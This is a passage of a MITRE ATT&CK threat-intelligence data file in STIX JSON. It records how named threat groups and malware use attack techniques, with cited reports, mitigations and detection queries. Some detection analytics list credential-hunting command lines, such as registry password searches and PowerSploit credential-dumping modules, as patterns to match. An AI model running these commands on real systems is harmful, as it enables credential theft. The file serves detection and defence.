2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"},{"source_name":"Symantec Remsec IOCs","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:16:42.496Z","description":"Some data in [Remsec](https://attack.mitre.org/software/S0125) is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43eebb80-4b8a-4690-a7e3-5f6f8e08db9f","type":"relationship","created":"2019-07-18T19:07:50.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.211Z","description":"Grant access to application deployment systems only to a limited number of authorized administrators.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43f6b172-34cf-4663-836a-df1ad978e7df","created":"2024-03-13T20:35:29.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T20:11:51.949Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has injected [Mispadu](https://attack.mitre.org/software/S1122)’s DLL into a process.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43fabcba-66b6-45dc-b905-926f0a0a2bba","created":"2020-05-13T15:28:06.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.650Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used RDP for lateral movement and to deploy ransomware interactively.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43fec1ed-cc26-4036-95c0-1598150f3916","created":"2023-08-03T19:06:51.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.650Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the `Invoke-SMBExec` PowerShell cmdlet to execute the pass-the-hash technique and utilized stolen password hashes to move laterally.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--440aeea8-97bc-4b65-be16-7f411b747798","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:58:15.605Z","description":"Monitor for newly executed processes that may abuse PowerShell commands and scripts for execution. PowerShell is a scripting environment included with Windows that is used by both attackers and administrators. Execution of PowerShell scripts in most Windows versions is opaque and not typically secured by antivirus which makes using PowerShell an easy way to circumvent security measures. This analytic detects execution of PowerShell scripts.\n\nPowershell can be used to hide monitored command line execution such as:\n\nnet use\nsc start\n\nNote: \n- The logic for Analytic 1 is based around detecting on non-interactive Powershell sessions (i.e., those not launched by a user through explorer.exe). This may lead to false positives when used in a production environment, so we recommend tuning any such analytics by including additional logic (e.g., looking for suspicious parent processes) that helps filter such events.\n- The logic for Analytic 2 is based around detecting on remote Powershell sessions. PowerShell can be used over WinRM to remotely run commands on a host. When a remote PowerShell session starts, svchost.exe executes wsmprovhost.exe.\n\nAnalytic 1 - Non-interactive Powershell Sessions\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"powershell.exe\" AND ParentImage!=\"explorer.exe\"\n\nAnalytic 2 - Remote Powershell Sessions \n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"wsmprovhost.exe\" AND ParentImage=\"svchost.exe\"\n\nAnalytic 3 - Powershell Execution\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") Image=\"C:\\\\Windows\\\\*\\\\powershell.exe\" ParentImage!=\"C:\\\\Windows\\\\explorer.exe\"|stats values(CommandLine) as \"Command Lines\" values(ParentImage) as \"Parent Images\" by ComputerName\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--440c7f08-e570-4536-8f9c-849952581de1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-03-17T17:00:43.701Z","description":"[Proton](https://attack.mitre.org/software/S0279) uses VNC to connect into systems.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--440eeebd-bbb0-476c-8291-b71fe95e0843","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44156087-5547-4a14-86cb-6dde182edf55","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-12T19:00:21.114Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\n\nAnalytic 1 - Unusual network communication patterns.\n\n index=network sourcetype=\"stream:tcp\" dest_port=389 NOT [| inputlookup known_dc_ip_addresses | fields ip] ","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--441cd636-cb84-4541-b444-09881d015c43","created":"2022-06-09T18:35:30.680Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) can collect information from a compromised host.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:35:30.680Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--441e6528-4342-4387-848b-febb051e05f7","type":"relationship","created":"2020-10-19T19:42:19.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2020-10-22T16:54:58.939Z","description":"Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS. Follow vendor prescribed best practices for hardening access control.(Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--441ef1f7-79b7-476a-8c1e-943439e65dd1","created":"2019-01-29T18:55:20.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:07:20.660Z","description":"[Remcos](https://attack.mitre.org/software/S0332) steals and modifies data from the clipboard.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44232d0d-5a86-4662-8934-054fcc9afbb3","type":"relationship","created":"2019-03-26T16:19:52.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."},{"description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","source_name":"US-CERT NotPetya 2017"},{"url":"http://windowsitpro.com/systems-management/psexec","description":"Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.","source_name":"PsExec Russinovich"}],"modified":"2019-04-24T20:02:45.183Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) can use [PsExec](https://attack.mitre.org/software/S0029), which interacts with the ADMIN$ network share to execute commands on remote systems.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: PsExec Russinovich)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44259d7d-e156-4e09-a401-ff62f0706cdd","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Dsquery","description":"Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/cc732952.aspx"},{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-19T16:11:39.566Z","description":"[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on user accounts within a domain.(Citation: TechNet Dsquery)(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44271618-cc52-45a9-9799-e9665b73cfc2","created":"2024-04-04T18:05:46.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-08T17:48:25.574Z","description":"[Akira](https://attack.mitre.org/software/S1129) will leverage COM objects accessed through WMI during execution to evade detection.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44272fb3-a31d-4cea-b11c-b65e2bdcbd68","type":"relationship","created":"2021-09-21T15:10:56.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.101Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify the system name of a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."},{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."},{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts including shared between Managed Service Providers and clients to move between the two environments.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Securelist APT10 March 2021)","modified":"2022-07-20T20:07:40.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4428158e-cf07-49f0-8a9f-5cc767027e2a","type":"relationship","created":"2021-04-07T18:07:47.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.886Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) was executed through the kubelet API run command and by executing commands on running containers.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--442a2cd1-62fa-4da2-9160-afbf88e6a8b9","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:59:17.362Z","description":"Monitor newly executed processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\n\nNote: Pseudocode Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for command-line instances of searching the Windows Registry for insecurely stored credentials. This can be accomplished using the query functionality of the [Reg](https://attack.mitre.org/software/S0075) system utility, by looking for keys and values that contain strings such as “password”. In addition, adversaries may use toolkits such as [PowerSploit](https://attack.mitre.org/software/S0194) in order to dump credentials from various applications such as IIS. Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several PowerSploit modules with similar functionality.\n\nAnalytic 1 - Credentials in Files & Registry\n\n(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") \nCommandLine=\"*reg* query HKLM /f password /t REG_SZ /s*\" OR\nCommandLine=\"reg* query HKCU /f password /t REG_SZ /s\" OR\nCommandLine=\"*Get-UnattendedInstallFile*\" OR\nCommandLine=\"*Get-Webconfig\" OR\nCommandLine=\"*Get-ApplicationHost*\" OR\nCommandLine=\"*Get-SiteListPassword*\" OR\nCommandLine=\"*Get-CachedGPPPassword*\" OR\nCommandLine=\"*Get-RegistryAutoLogon*\" \n\nAnalytic 2 - New processes with parameters indicating credential searches.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 CommandLine=\"*reg query* /f password /t REG_SZ /s*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 CommandLine=\"*reg query* /f password /t REG_SZ /s*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--442cf157-2812-4c62-8a6c-c12c6a207b1c","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--442ff7a8-149b-4d26-933a-033ba25b9838","created":"2022-10-13T16:59:26.535Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:59:26.535Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has established persistence via the `HKCU\\SOFTWARE\\microsoft\\windows\\currentversion\\run` registry key.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44356d36-d119-4274-8c93-9e0bd50f60ed","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Process Creation Flags May 2018","description":"Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.","url":"https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"},{"source_name":"Secuirtyinbits Ataware3 May 2019","description":"Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.","url":"https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-04T15:07:21.868Z","description":"Monitor for API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019)This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if 